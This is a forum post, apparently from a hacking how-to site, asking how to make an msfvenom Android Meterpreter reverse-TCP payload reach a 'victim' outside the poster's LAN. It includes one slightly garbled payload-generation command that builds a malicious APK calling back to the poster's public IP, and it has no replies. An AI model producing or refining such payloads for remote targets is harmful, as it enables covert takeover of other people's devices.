I have had success with msfvenom android payload over LAN but now I want to test it outside LAN. Like when you and the victim are connected to different gateways.
As you guys know that we use our interface's IP in LHOST and LPORT is set to 4444.
Now I want to know what should the LHOST & LPORT be set to in order to make the exploit work outside LAN. I tried inserting my PUBLIC ip and the port 4444 but it didn't work.
Here's the complete command:
msfvenom -p android/meterpreter/reverseunderscoretcp LHOST=My Public IP LPORT =4444 R > exploitname.apk_
Does someone know the correct values for LHOST and LPORT or how to make it work properly?
Thankyou !
Comments
No Comments Exist
Be the first, drop a comment!